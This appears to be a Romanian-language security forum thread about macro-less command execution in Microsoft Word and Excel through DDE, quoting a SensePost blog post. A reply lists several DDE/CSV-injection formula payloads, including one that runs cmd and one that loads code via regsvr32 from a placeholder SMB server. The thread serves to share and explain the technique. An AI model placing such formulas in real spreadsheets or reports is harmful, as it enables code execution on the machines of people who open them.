Jump to content
WarLord

Macro-less Code Exec in MSWord

Recommended Posts

What if we told you that there is a way to get command execution on MSWord without any Macros, or memory corruption?!

Windows provides several methods for transferring data between applications. One method is to use the Dynamic Data Exchange (DDE) protocol. The DDE protocol is a set of messages and guidelines. It sends messages between applications that share data and uses shared memory to exchange data between applications. Applications can use the DDE protocol for one-time data transfers and for continuous exchanges in which applications send updates to one another as new data becomes available.

In our context DDE works by executing an application, that will provide the data (data provider). In a previous post1 We discussed using DDE in MSExcel to gain command execution, and have had great success in using this technique to bypass macro filtering mail gateways and corporate VBA policies. DDE isn’t only limited to Excel and Word has had DDE capabilities all this time. This has been mentioned by others2 as a possible avenue, but to our knowledge, no-one has actually demonstrated this to work.

 

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

 

L-am incercat in Word 2010, si merge.

  • Like 1
  • Thanks 1
  • Upvote 3
Link to comment
Share on other sites

Inca un articol recent pe aceiasi tema - http://georgemauer.net/2017/10/07/csv-injection.html.

Exista cateva chestii dragute care se pot face cu DDE:

  • =cmd|'/C calc'!A0 (exemplul clasic)
  • =IExplore|WWW_OpenURL!www.mataigrasa.com
  • =regsvr32|\\<fakeSmbServer>\\mataigrasa!A0

De cele mai multe ori am intalnit chestia asta in aplicatii web care genereaza rapoarte in format CSV/XLS unde tu ai un oarecare control asupra datelor care intra in raport.

  • Like 1
  • Upvote 3
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...